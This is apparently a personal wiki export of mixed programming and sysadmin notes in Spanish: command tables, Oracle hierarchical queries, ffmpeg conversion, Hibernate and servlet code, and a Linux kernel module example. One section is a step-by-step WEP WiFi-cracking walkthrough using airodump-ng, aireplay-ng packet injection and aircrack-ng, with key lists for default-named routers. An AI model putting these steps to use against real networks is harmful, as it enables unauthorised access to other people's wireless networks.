|[[head|head]]|Procesamiento de texto|Copy the first part of files|
|[[iconv]]|Procesamiento de texto|Codeset conversion|
|[[id|id]]|Misc|Return user identity|
|[[ipcrm]]|Misc|Remove a message queue, semaphore set, or shared memory segment identifier|
|[[ipcs]]|Misc|Report interprocess communication facilities status|
|[[jobs|jobs]]|Gestión de procesos|Display status of jobs in the current session|
|[[join|join]]|Procesamiento de texto|[[Relational database]] operator|
|[[kill|kill]]|Gestión de procesos|Terminate or signal processes|
|[[lexprogrammingtool|lex]]|Programación en C|Generate programs for [[Lexicalanalyzer|lexical tasks]]|
|[[link|link]]|Sistema de archivos|Call link function|
|[[ln|ln]]|Sistema de archivos|Link files|
|[[locale]]|Misc|Get locale-specific information|
|[[localedef]]|Misc|Define locale environment|
|[[logger|logger]]|Programación en consola|Log messages|
|[[logname]]|Misc|Return the user's login name|
|[[lp|lp]]|Procesamiento de texto|Send files to a printer|
|[[ls]]|Sistema de archivos|List directory contents|
|[[M4|m4]]|Misc|Macro processor|
|[[mailx]]|Misc|Process messages|
|[[make]]|Programación en C|Maintain, update, and regenerate groups of programs|
|[[Unixmanual|man]]|Misc|Display system documentation|
|[[mesg]]|Misc|Permit or deny messages|
|[[mkdir]]|Sistema de archivos|Make directories|
|[[mkfifo]]|Sistema de archivos|Make [[FIFO]] special files|
|[[more|more]]|Procesamiento de texto|Display files on a page-by-page basis|
|[[mv]]|Sistema de archivos|Move files|
|[[newgrp]]|Misc|Change to a new group|
|[[nice|nice]]|Gestión de procesos|Invoke a utility with an altered nice value|
|[[nl|nl]]|Procesamiento de texto|Line numbering filter|
|[[nm(Unix|nm]]|EMPTY|Write the name list of an [[object file]]|
|[[nohup]]|Gestión de procesos|Invoke a utility immune to [[SIGHUP|hangups]]|
|[[od|od]]|Misc|Dump files in various formats|
|[[paste|paste]]|Procesamiento de texto|Merge corresponding or subsequent lines of files|
|[[patch|patch]]|Procesamiento de texto|Apply changes to files|
|[[pathchk]]|Sistema de archivos|Check pathnames|
|[[pax|pax]]|Misc|Portable archive interchange|
|[[pr|pr]]|Procesamiento de texto|Print files|
|[[printf|printf]]|Programación en consola|Write formatted output|
|[[prs]]|SCCS|Print an SCCS file|
|[[ps|ps]]|Gestión de procesos|Report process status|
|[[pwd]]|Sistema de archivos|print working directory - Return working directory name|
|[[qalter]]|Proceso por lotes|Alter batch job|
|[[qdel]]|Proceso por lotes|Delete batch jobs|
|[[qhold]]|Proceso por lotes|Hold batch jobs|
|[[qmove]]|Proceso por lotes|Move batch jobs|
|[[qmsg]]|Proceso por lotes|Send message to batch jobs|
|[[qrerun]]|Proceso por lotes|Rerun batch jobs|
|[[qrls]]|Proceso por lotes|Release batch jobs|
|[[qselect]]|Proceso por lotes|Select batch jobs|
|[[qsig]]|Proceso por lotes|Signal batch jobs|
|[[qstat|qstat]]|Proceso por lotes|Show status of batch jobs|
|[[qsub]]|Proceso por lotes|Submit a script|
|[[read|read]]|Programación en consola|Read a line from standard input|
|[[readonly]]|Misc|Set the readonly attribute for variables|
|[[renice]]|Gestión de procesos|Set [[nice values]] of running processes|
|[[return|return]]|Programación en consola|Return from a function|
|[[rm|rm]]|Sistema de archivos|Remove directory entries|
|[[rmdel]]|SCCS|Remove a delta from an SCCS file|
|[[rmdir]]|Sistema de archivos|Remove directories|
|[[sact|sact]]|SCCS|Print current SCCS file-editing activity|
|[[sccs|sccs]]|SCCS|Front end for the SCCS subsystem|
|[[sed|TutorialSed]]|Procesamiento de texto|Stream editor|
|[[set|set]]|Misc|Set or unset options and positional parameters|
|[[bourneshell|sh]]|Programación en consola|[[shell|Shell]], the standard command language interpreter|
|[[shift|shift]]|Programación en consola|Shift positional parameters|
|[[sleep|sleep]]|Programación en consola|Suspend execution for an interval|
|[[sort|sort]]|Procesamiento de texto|Sort, merge, or sequence check text files|
|[[split|split]]|Misc|Split files into pieces|
|[[strings|strings]]|Programación en C|Find printable strings in files|
|[[strip|strip]]|Programación en C|Remove unnecessary information from executable files|
|[[stty]]|Misc|Set the options for a terminal|
|[[tabs|tabs]]|Misc|Set terminal tabs|
|[[tail|tail]]|Procesamiento de texto|Copy the last part of a file|
|[[talk|talk]]|Misc|Talk to another user|
|[[tee |tee]]|Programación en consola|Duplicate [[standard input]]|
|[[test|test]]|Programación en consola|Evaluate [[expression(programming)|expression]]|
|[[time |time]]|Gestión de procesos|Time a simple command|
|[[times|times]]|Gestión de procesos|Write process times|
|[[touch|touch]]|Sistema de archivos|Change file access and modification times|
|[[tput]]|Misc|Change [[terminal]] characteristics|
|[[tr|tr]]|Procesamiento de texto|Translate characters|
|[[trap|trap]]|Gestión de procesos|Trap signals|
|[[true|true]]|Programación en consola|Return true value|
|[[tsort|tsort]]|Procesamiento de texto|Topological sort|
|[[tty|tty]]|Misc|Return user's [[terminal]] name|
|[[type|type]]|Misc|Write a description of command type|
|[[ulimit]]|Misc|Set or report file size limit|
|[[umask]]|Misc|Get or set the file mode creation mask|
|[[unalias]]|Misc|Remove alias definitions|
|[[uname]]|Misc|Return system name|
|[[uncompress]]|Misc|Expand compressed data|
|[[unexpand]]|Procesamiento de texto|Convert spaces to tabs|
|[[unget]]|SCCS|Undo a previous get of an SCCS file|
|[[uniq]]|Procesamiento de texto|Report or filter out repeated lines in a file|
|[[unlink|unlink]]|Sistema de archivos|Call the unlink function|
|[[unset]]|Misc|Unset values and attributes of variables and functions|
|[[uucp]]|Redes|System-to-system copy|
|[[uudecode]]|Redes|Decode a binary file|
|[[uuencode]]|Redes|Encode a binary file|
|[[uustat]]|Redes|[[uucp]] status inquiry and job control|
|[[uux|uux]]|Gestión de procesos|Remote command execution|
|[[val|val]]|SCCS|Validate SCCS files|
|[[vi]]|Procesamiento de texto|Screen-oriented display editor|
|[[wait |wait]]|Gestión de procesos|Await process completion|
|[[wc|wc]]|Procesamiento de texto|Word, line, and byte or character count|
|[[what|what]]|SCCS|Identify SCCS files|
|[[who|who]]|Administración del sistema|Display who is on the system|
|[[write|write]]|Misc|Write to another user's terminal|
|[[xargs]]|Programación en consola|Construct argument lists and invoke utility|
|[[yacc]]|Programación en C|Yet another [[compiler]] compiler|
|[[zcat]]|Procesamiento de texto|Expand and concatenate data|
Comparativa rápida entre los siguientes lenguajes: [[Java]], [[Javascript]], [[Python]], [[Lua]] y [[Processing]]
<div>
| !Descripción | !Java | !Javascript | !Python | !Lua | !Processing |h
|>|>|>|>|>| !Declaración de variables |
|''byte'' |{{{byte b = 0x2f;}}} |{{{}}} | -- |{{{}}} |{{{}}} |
|''caracter'' |{{{char c = 'a';}}} |{{{}}} | -- |{{{}}} |{{{}}} |
|''entero sin signo'' | -- |{{{}}} | -- |{{{}}} |{{{}}} |
|''entero simple'' |{{{int i = 123;}}} |{{{}}} |{{{i = 123}}} |{{{}}} |{{{}}} |
|''entero largo'' |{{{long l = 123l;}}} |{{{}}} |{{{l = 123L}}} |{{{}}} |{{{}}} |
|''decimal simple'' |{{{float f = 123.456f;}}} |{{{}}} | -- |{{{}}} |{{{}}} |
|''decimal largo'' |{{{double d = 123.456d;}}} |{{{}}} |{{{f = 1234.0f}}} |{{{}}} |{{{}}} |
|''complejos'' | -- |{{{}}} |{{{c = (-1+0j)}}} |{{{}}} |{{{}}} |
|''booleano'' |{{{boolean b = true;}}} |{{{}}} |{{{b = True}}} |{{{}}} |{{{}}} |
|''cadena de texto'' |{{{String s = "hola";}}} |{{{}}} |{{{s = "hola"}}} |{{{}}} |{{{}}} |
|''tupla (inmutable)'' | -- |{{{}}} |{{{t = (1,2,3)}}} |{{{}}} |{{{}}} |
|''array (mutable)'' |{{{int[] enteros = {1,2,3};}}} |{{{}}} |{{{a = [1,2,3]}}} |{{{}}} |{{{}}} |
|''diccionario'' |{{{java.util.Hashmap dic = new java.util.hashmap();}}} |{{{}}} |{{{dic = {"a":1, "b":2}}}} |{{{}}} |{{{}}} |
|''fichero'' |{{{java.io.File f = new java.io.File("/aa.txt");}}} |{{{}}} |{{{f = open("/aa.txt"}}} |{{{}}} |{{{}}} |
|'' '' |{{{}}} |{{{}}} |{{{}}} |{{{}}} |{{{}}} |
|'' '' |{{{}}} |{{{}}} |{{{}}} |{{{}}} |{{{}}} |
|'' '' |{{{}}} |{{{}}} |{{{}}} |{{{}}} |{{{}}} |
|'' '' |{{{}}} |{{{}}} |{{{}}} |{{{}}} |{{{}}} |
|'' '' |{{{}}} |{{{}}} |{{{}}} |{{{}}} |{{{}}} |
|'' '' |{{{}}} |{{{}}} |{{{}}} |{{{}}} |{{{}}} |
|'' '' |{{{}}} |{{{}}} |{{{}}} |{{{}}} |{{{}}} |
</div>
!Descripción
Apuntes sobre lenguajes compilados.
Los lenguajes que se reflejarán aquí serán lenguajes que necesitan ser previamente compilados, bien sea a código máquina o a código intermedio (bytecodes), para poder ser ejecutados. Ejemplos válidos serían [[C]], [[Java]] o [[C-sharp]].
Esto es una [[metacategoría|metacategoria]], lo que quiere decir que habrá varias categorías que la tengan también como padre y que no tendrá subcategorías ni temas propios.
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title)'>>
A famous result due to [[Euler|http://www-groups.dcs.st-and.ac.uk/~history/Mathematicians/Euler.html]] in ~LaTeX: $\sum_{n=1}^{+\infty}{\frac1{n^2}=\frac{\pi^2}6$
and again as a centered equation using {{{$$ ... $$}}}$$\sum_{n=1}^{+\infty} \frac{1}{n^2}=\frac{\pi^2}{6}.$$
or using {{{\[ ... \]}}} \[\sum_{n=1}^{+\infty} \frac{1}{n^2}=\frac{\pi^2}{6}.\]
Here is a graph of $x-\frac{x^3}{6}$ and $\sin(x)$
(:graph({width:300,height:150,scales:[-6.29,6.29]})
grid({dx:1,stroke:"green"});
axes({marker:">"});
plot("sin(x)",{stroke:"red"})
plot("x-pow(x,3)/6",{min:-4,max:4,stroke:"blue", strokedasharray:"10,10"})
text([-2,-2.5],"Close friends near 0!",{id:"rot",fontsize:18,fontfill:"orange"});
rotate("rot",PI/18,{center:[-5,-3]});
:)
and a diagram illustrating why Pythagoras' Theorem holds:
(:graph({width:400,height:150,scales:[-4,4,1,4],coords:"none"})
setOptions({fill:"yellow"});
rect([1,1],[4,4])
rect([-4,1],[-1,4])
setOptions({fill:"red"});
rect([-2,1],[-1,2])
setOptions({fill:"blue"});
rect([-4,2],[-2,4])
setOptions({fill:"green"});
path([[1,2],[2,4],[4,3],[3,1],[1,2]])
setOptions({fill:"none"});
path([[-4,1],[-2,2],[-1,4]])
:)
Forma sencilla de comprobar una fecha mediante expresiones regulares:
{{{
<html>
<body>
<script type="text/javascript">
var regexp = /[0-9]{1,2}\/[0-9]{1,2}\/[0-9]{4}/;
var date1 = "aaa";
var date2 = "01/01/2008";
document.write(Date());
document.write("<br/>Date1: "+date1+" Matches? ");
document.write((date1.match(regexp)?"yes":"no")+"\n");
document.write("<br/>Date2: "+date2+" Matches? ");
document.write((date2.match(regexp)?"yes":"no")+"<br/>");
</script>
</body>
</html>
}}}
!Descripción
Apuntes sobre como configurar el hardware y sacarle el máximo rendimiento
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
Consola de pruebas de html
Consola de pruebas. Introduzca el javascript en la parte izquierda y obtendrá¡ el resultado en la derecha
<html>
<table style="width: 100%">
<tbody>
<tr>
<td style="width: 50%; padding: 5px">
<form>HTML
<textarea id="input_area" style="width: 100%; height: 100px;">
<h1>Hola</h1>
<hr />
<b>Ho</b><i>la</i> a <strike>todos</strike>
<table>
<tr>
<td>a</td><td>b</td><td>c</td>
</tr>
<tr>
<td>1</td><td>2</td><td>3</td>
</tr>
</table>
</textarea>
<input type="button" value="run" onclick='try{document.getElementById("output_area").innerHTML=document.getElementById("input_area").value; } catch(e){ var err = e.description?e.description:e.toString(); displayMessage(err); } return false;'></input>
</form>
</td>
<td style="width: 50%; vertical-align: top;">Console
<hr />
<div id="output_area" style="border: 1px inset; height: 100%; overflow: auto;"></div></td>
</tr>
</tbody>
</table>
</html>
Consola de pruebas. Introduzca el javascript en la parte izquierda y obtendrá el resultado en la derecha
<html>
<table style="width: 100%">
<tbody>
<tr>
<td style="width: 50%; padding: 5px">
<form>Script
<textarea id="input_area" style="width: 100%; height: 100px;"></textarea>
<input type="button" value="run" onclick='try{document.getElementById("output_area").innerHTML="<code>\n"+eval(document.getElementById("input_area").value)+"\n<code/>"; } catch(e){ var err = e.description?e.description:e.toString(); displayMessage(err); } return false;'></input>
</form>
</td>
<td style="width: 50%; vertical-align: top;">Console
<hr />
<div id="output_area" style="border: 1px inset; height: 100%; overflow: auto;"></div></td>
</tr>
</tbody>
</table>
</html>
!Introducción
Un tema un tanto complejo son las tablas autoreferenciadas, o lo que es lo mismo, tablas con foreign keys a si mismas. Muchas veces se requiere realizar la operación de extraer un registro y todos sus registros hijos de forma anidada. Con una {{{SELECT}}} simple es imposible, y habría que hacer un procedimiento recursivo en PL/SQL para recorrer el árbol completo.
[[Oracle]] ofrece una solución sencilla, usar {{{SELECT .. START WITH .. CONNECT BY}}}.
!Sintaxis
La sección {{{CONNECTED BY}}} indica la relación que define que registros son hijos de uno determinado. Normalmente se suele indicar que la columna con la forgeing key sea igual que el ID del padre. El concepto "del padre" se indica con el operador {{{PRIOR}}}.
Mediante la sección {{{START WITH}}} se indica que registro será el registro padre de todos (la raiz del árbol).
Dentro de este tipo de consultas se encuentra disponible la pseudocolumna llamada "LEVEL", que indica el nivel de anidamiento (1 para el nodo raiz, 2 para el siguiente nivel, etc).
Por ejemplo, si tenemos una tabla con las columnas numéricas {{{ID}}} e {{{ID_PADRE}}} de la tabla {{{DATOS}}} podríamos hacer la siguiente consulta:
{{{
SELECT ID, ID_PADRE, NOMBRE, LEVEL FROM
FROM DATOS
CONNECT BY PRIOR ID = ID_PADRE
START WITH ID = 1
}}}
!Ordenación de los hermanos
Los datos obtenidos se ordenan por nivel, pero los registros de cada nivel pueden estar incorrectamente ordenados. La ordenación de los nodos dentro de cada nivel se define mediante {{{ORDER SIBLINGS BY}}}, especificando una columna como si fuera un {{{ORDER BY}}} normal.
!Evitar bucles infinitos
Para evitar que se creen bucles infinitos de anidamiento se puede utilizar {{{CONNECT BY NOCYCLE}}}, que detendrá el procedimiento recursivo cuando empiecen a repetirse los datos.
! Más información
* http://www.psoug.org/reference/connectby.html
* http://download.oracle.com/docs/cd/B19306_01/server.102/b14200/queries003.htm#i2053935
!Descripción
Apuntes sobre aplicaciones de conversión de formatos
!Apuntes rápidos
* Convertir MP3 a OGG:
{{{
for i in `find -type d` ; do cd $i ; mp32ogg --delete *.mp3 ; cd - ; done
}}}
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
Convertir entre objeto Hibernate.Blob y byte[] (y por tanto, String):
{{{
/**
* Funcion interna, lee el blob pasado y lo devuelve como array de byte[]
* @param fromBlob blob del que leer
* @return contenido del blob como array de bytes
*/
protected byte[] toByteArray(Blob fromBlob)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
return toByteArrayImpl(fromBlob, baos);
}
catch (Exception e)
{
throw new RuntimeException(e);
}
finally
{
if (baos != null)
{
try
{
baos.close();
}
catch (IOException ex){}
}
}
}
/**
* Funcion interna, lee el blob y lo escribe al array pasado como byte[]
* @param fromBlob blob del que leer
* @param baos Stream al que escribir los bytes
* @return array de bites leido
*/
private byte[] toByteArrayImpl(Blob fromBlob, ByteArrayOutputStream baos) throws SQLException, IOException
{
if(fromBlob==null)
return new byte[0];
byte[] buf = new byte[4000];
InputStream is = fromBlob.getBinaryStream();
try {
for (;;)
{
int dataSize = is.read(buf);
if (dataSize == -1) break;
baos.write(buf, 0, dataSize);
}
}
finally
{
if (is != null)
{
try {
is.close();
} catch (IOException ex) { }
}
}
return baos.toByteArray();
}
//Ejemplo de uso en un bean
/** Don't invoke this. Used by Hibernate only. */
public void setObservacionesBlob(Blob blob)
{
this.observaciones=blob==null?null:new String(this.toByteArray(blob));
}
/** Don't invoke this. Used by Hibernate only. */
public Blob getObservacionesBlob()
{
return Hibernate.createBlob(this.observaciones==null?new byte[0]:this.observaciones.getBytes());
}
public String getObservaciones() {
return observaciones;
}
public void setObservaciones(String observaciones) {
this.observaciones = observaciones;
}
}}}
! Convertir vídeos a flv con ffmpeg:
* Lo primero es conseguir la aplicación ffmpeg
* Conversión a partir de un vídeo {{{.mov}}}:
{{{
ffmpeg -i input.mov -ar 22050 -ab 56 -aspect 4:3 -b 200 -r 12 -f flv -s 320x240 -acodec mp3 -ac 1 output.flv
}}}
* Conversión a partir de un mp4:
{{{
ffmpeg -i input.mp4 -y -acodec mp3 -ar 22050 -f flv output.flv
}}}
* Para mostrarlo en una web con un visualizador en flash:
{{{
<html>
<head>
<title>Flash FLV Player</title>
</head>
<body>
<h3>My First FLV video</h3>
<object type="application/x-shockwave-flash" width="320" height="260" wmode="transparent" data="flvplayer.swf?file=output.flv&autoStart=false">
<param name="movie" value="flvplayer.swf?file=output.flv&autoStart=false" />
<param name="wmode" value="transparent" />
</object>
</body>
</html>
}}}
! Tipos de cifrado
Los dos tipos más habituales de cifrado en redes wifi son el cifrado [[WEP]] y el [[WPA]].
El cifrado [[WEP]] es el más antiguo y hoy en día se considera obsoleto, pues se han encontrado varias formas de romper el cifrado en un tiempo razonable. No obstante, todavía es el cifrado más extendido, principalmente porque viene activado por defecto en un gran número de routers. Por eso, será este tipo de cifrado sobre el que más técnicas se relatarán.
El cifrado [[WPA]] tiene diversas variantes que utilizan distintos tipos de cifrado (TKIP y AES pricipalmente), y casi todas se consideran suficientemente seguras como para ser rotas sólo por fuerza bruta. Como cualquier caso de rotura de claves por fuerza bruta, la seguridad dependerá de la calidad de la clave. Una clave aleatoria o medianamente compleja no podrá ser rota en un tiempo razonable.
! Herramientas
Listado de las herramientas más útiles para el crackeo (rotura del cifrado) de redes wifi:
* ''Sniffers:'' Los sniffers son los programas que se utilizan para capturar las tramas cifradas de datos. Una vez capturados los datos, podrán ser procesados por otros programas para intentar romper el cifrado.
** Airodump-ng: http://www.aircrack-ng.org/ (parte del paquete aircrack-ng)
** Kismet: http://www.kismetwireless.net/
* ''Crackeadores:'' Su misión es tratar de descifrar las tramas capturadas con los //sniffers//.
** Aircrack-ng: http://www.aircrack-ng.org/ (parte del paquete aircrack-ng)
* ''Distribuciones de Linux:'' Distribuciones de linux orientadas a sniffar y crackear redes wireless
** SliTaz: http://www.slitaz.org/es/ (distribución con las últimas versiones de aircrack-ng)
** WifiSlax: http://www.wifislax.com/ (SLAX modificado y orientado al crackeo wifi)
** BackTrack: http://www.remote-exploit.org/backtrack.html (muy completa)
** Samurai Web Testing: http://samurai.inguardians.com/
! Ejemplo de captura en red sin clientes
En todos los ejemplos siguientes, la tarjeta de red se llamará {{{eth2}}}
# {{multiLine{
Poner la tarjeta en modo monitor
{{{
# iwconfig eth2 mode monitor
}}}
}}}
# {{multiLine{
Buscar redes:
{{{
# airodump-ng eth2
}}}
Otra forma de hacerlo:
{{{
# kismet
}}}
}}}
# {{multiLine{
Comenzar a snifar una conexión concreta (y dejarlo funcionando):
{{{
# airodump-ng --bssid 00:02:CF:XX:XX:XX -w dump eth2
}}}
}}}
# {{multiLine{
Inyectar paquetes (en otra consola al punto anterior):
{{{
# aireplay-ng --arpreplay -e "WLAN_ZZ" -b 00:02:CF:XX:XX:XX -h 00:0E:35:YY:YY:YY -x 30 eth2
}}}
El parámetro {{{-b}}} indica la MAC del router, y el {{{-h}}} la MAC de nuestra tarjeta wireless. Una vez hecho esto hay que esperar. En la pantalla con el airodump empezarán a aparecer paquetes de datos al cabo de un tiempo.
}}}
# {{multiLine{
Romper la contraseña:
{{{
# aircrack-ng *dump
}}}
Si la red es de tipo {{{WLAN_ZZ}}} ó {{{JAZZTEL_ZZ}}}, se puede utilizar [[este script|Generador contraseñas WLAN_XX y JAZZTEL_XX]] para generar un archivo de contraseñas (llamado {{{keys}}} en el ejemplo), y pasárselo al comando anterior:
{{{
# aircrack-ng -w keys.txt *dump
}}}
}}}
! Más información:
* Ataque a TKIP: http://elladodelmal.blogspot.com/2009/07/el-ataque-chop-chop-tkip.html
!!! Descripción
CramFS es un sistema de ficheros comprimido bastante antiguo, cuya principal finalidad es servir de sistema de ficheros para memorias de solo lectura (ROM).
!!! Enlaces
* http://www.mjmwired.net/kernel/Documentation/filesystems/cramfs.txt
* http://sourceforge.net/projects/cramfs/
* http://en.wikipedia.org/wiki/Cramfs
* http://elinux.org/Squash_Fs_Comparisons#Damn_Small_Linux_liveCD_performance_tests (comparativa con SquashFS)
* http://bisqwit.iki.fi/source/cromfs.html#compression (comparativa con CromFS)
!Introducción
Un problema bastante habitual en la programación de aplicaciones [[Python]]es su distribución. [[Python]]es un lenguaje interpretado, por lo que requiere de un entorno de ejecución o //runtime// para funcionar. Java, Flash o .Net son otros ejemplos de lenguajes interpretados (o semi interpretados) que requieren un runtime para funcionar. El problema fundamental de [[Python]] es que no está tan difundido como estos, por lo que poca gente tiene instalado el runtime, y tampoco suelen estar por la labor de descargar e instalar el entorno "solo para un programa".
La solución: empaquetar nuestro programa en [[Python]] junto con todo lo que necesita el mismo para ejecutarse, y producir un único archivo ejecutable. Este archivo no depende de que se tenga instalado el runtime. La desventaja evidente es que ocupará mucho más, pero su facilidad de distribución puede superar este inconveniente.
Existen principalmente dos paquetes capaces de conseguir esto:
* [[py2exe|http://www.py2exe.org]]: Muy difundido y documentado, pero sólo produce ejecutables para windows.
* [[cx_Freeze|http://cx-freeze.sourceforge.net]]: Menos conocido, pero puede producir ejecutables para cualquier plataforma que soporte [[Python]]. Principalmente Windows, Linux y Mac OS.
! Enlaces
* cx_Freeze: http://cx-freeze.sourceforge.net
* py2exe: http://www.py2exe.org/
* Tutorial para empaquetar juegos PyGame: http://gamedev.pansapiens.com/2008/04/packaging-a-python-game-for-distribution-on-windows/
* Tutorial de py2exe: http://www.py2exe.org/index.cgi/Tutorial
!Introducción
El siguiente texto está basado en este artículo: http://casidiablo.net/desarrollar-compilar-modulo-linux/ Esto será un resumen rápido de lo que ahí explican. El objetivo es crear un módulo sencillo, compilarlo y cargarlo dentro de un kernel en ejecución.
!Prerrequisitos
* Saber cual es la versión de tu kernel: {{{# uname -r}}}
* Instalar el código fuente de tu kernel:
** En [[Gentoo|http://gentoo.org]]: {{{# emerge gentoo-sources}}}
** En [[Debian||http://debian.org]]: {{{# aptitude install linux-source-2.6.29}}}
* Instalar las herramientas de compilación
** En [[Gentoo|http://gentoo.org]]: No necesario, ya estarán instaladas las herramientas
** En [[Debian||http://debian.org]]: {{{# aptitude install build-essential}}}
* Tener las herramientas para trabajar con módulos: module-init-tools
** En [[Gentoo|http://gentoo.org]]: {{{# emerge module-init-tools}}}
** En [[Debian||http://debian.org]]: {{{# aptitude install module-init-tools}}}
!Esqueleto de un módulo
!! Código fuente del módulo
El siguente código contiene la estructura básica de un modulo para un kernel de linux:
{{{
/* El nombre del archivo es 'hola.c'. */
#include <linux/module.h> // para todos los modulos
#include <linux/init.h> // para las macros entry/exit
#include <linux/kernel.h> // para usar la macro printk
#include <asm/current.h> // informacion del proceso (solo por diversion)
#include <linux/sched.h> // para usar la estructura "task_struct"
static int hola(void)
{
printk(KERN_INFO "Hola, el modulo esta siendo cargado.\n");
printk(KERN_INFO "El user space del proceso es '%s'\n", current->comm);
printk(KERN_INFO "El PID es %i\n", current->pid);
return 0; // para indicar que todo ha salido bien
}
static void adios(void)
{
printk(KERN_INFO "Chao, el modulo esta siendo removido.\n");
}
module_init(hola); // lo que se debe llamar al cargar un modulo
module_exit(adios); // lo que se debe llamar al remover un modulo
MODULE_AUTHOR("Robert P. J. Day");
MODULE_AUTHOR("Cristian Castiblanco [solo lo puse en castellano]");
MODULE_LICENSE("Dual BSD/GPL");
MODULE_DESCRIPTION("Aqui puedes poner una descripcion de tu modulo");
}}}
!! Fichero de construcción {{{Makefile}}}
{{{
ifeq ($(KERNELRELEASE),)
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
.PHONY: build clean
build:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c
else
$(info Building with KERNELRELEASE = ${KERNELRELEASE})
obj-m := hola.o
endif
}}}
!! Compilar el módulo
Tan sencillo como ejecutar en el directorio donde se ha creado {{{hola.c}}} lo siguiente:
{{{
# make
}}}
Si todo va bien, habrá creado un fichero llamado {{{hola.ko}}}.
! Usar el módulo
!! Extraer información
Se puede consultar información sobre el módulo recien creado mediante la herramienta {{{modinfo}}}:
{{{
# sudo modinfo hola.ko
}}}
!! Cargar el módulo
Es hora de cargar el módulo para que el kernel lo ejecute. Para ello se debe ejecutar lo siguiente:
{{{
# insmod hola.ko
}}}
Con esto se cargará el módulo. Para comprobar que está cargado:
{{{
# lsmod | grep "hola"
}}}
Por supuesto, podemos eliminarlo (unload) mediante el siguiente comando:
{{{
# rmmod hola
}}}
Por último se pueden ver los mensajes que ha ido escribiendo el módulo mediante la función {{{printk()}}} con el comando {{{dmesg}}}:
{{{
# dmesg | tail
}}}
Ahí deberían aparecer unas cuantas lineas indicando cuando se ha cargado y descargado el módulo.
!Próximos pasos
Lo siguiente, una vez conseguido un módulo "dummy" funcional, sería dotarlo de funcionalidad. Pero eso ya depende de las necesidades de cada uno.
!Descripción
Curiosidades de todo tipo, principalmente sin sentido práctico.
!Enlaces interesantes
* ''Curiosidades:''
** Historia visual de los supercomputadores: http://www.tomshardware.com/picturestory/508-mainframe-computer-history.html
** Marcas blancas y fabricantes reales: http://marcasblancas.wikispaces.com/
** Las mentiras de //"El último superviviente"//: http://noesbuenosersincero.blogspot.com/2009/07/bear-grylls-el-farsante-que-te-costara.html
** Captchas infernales: http://www.johnmwillis.com/other/top-10-worst-captchas/
** Como funciona el "pajarito bebedor": http://www.sabercurioso.com/2009/05/16/como-funciona-pajaro-bebedor/
* ''Cosas que dan cosica:''
** Asesinos en serie: http://www.asesinos-en-serie.com/
* ''Citas:''
** Listado de las 10 frases más absurdas: http://www.publico.es/internacional/250010/george/bush/encabeza/lista/declaraciones/absurdas
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
! Introducción
! Tabla comparativa
| !Decibelios | !Ejemplo |h
|140 dB |Umbral del dolor |
|130 dB |Avión despegando |
|120 dB |Motor de avión en marcha |
|110 dB |Concierto |
|100 dB |Perforadora eléctrica |
|90 dB |Tráfico |
|80 dB |Tren |
|70 dB |Aspiradora |
|50/60 dB |Aglomeración de Gente |
|40 dB |Conversación |
|20 dB |Biblioteca |
|10 dB |Ruido del campo |
|0 dB |Umbral de la audición |
! Más información
* http://es.wikipedia.org/wiki/Decibelio
Dentro de un servlet o {{{ActionForm}}}, llamar al siguiente método.
''Nota:'' Si la llamada se hace desde un {{{ActionForm}}}, se debería devolver un {{{null}}} en vez de un {{{ActionForward}}}.
{{{
/**
* Muestra el contenido de un archivo
* @param response HttpServletResponse
* @param filename Nombre del archivo
* @param contentType Tipo de contenido. Si viene nulo se pone "text/html"
* @param data Array de bytes con el archivo a mostrar
* @param attached Si es true, se añade cabecera extra
* @param log Log
*/
public static void mostrarArchivo(HttpServletResponse response, String filename, String contentType, byte[] data, boolean attached, Log log)
{
if (contentType == null) {
contentType = "text/html";
}
//contentType = "application/octet-stream";
response.setContentType(contentType);
//Añade cabecera para mostrarlo como adjunto
if (attached) {
response.addHeader("Content-Disposition","attachment; filename="+filename);
}
ServletOutputStream outputStream = null;
try{
outputStream = response.getOutputStream();
log.debug("Escribiendo "+data.length+" bytes");
outputStream.write(data, 0, data.length);
}catch(Exception ex){
log.error("Error al mostrar el archivo: "+ex.getMessage());
log.error(ex);
}finally{
try{
outputStream.flush();
outputStream.close();
log.debug("Datos escritos");
}catch(Exception ex) {
log.error("Error al cerrar el stream: "+ex.getMessage());
}
}
}
}}}
En en JSP o HTML se puede insertar un enlace similar al siguiente:
{{{
/ruta/a/la/accion.do?cmd=descargar&attach-name=hello.html
}}}
http://jmatrix.net/dao/case/case.jsp?case=7F000001-E22F2B-10CCCCB2924-862
!¿Te apetece dibujar un rato?
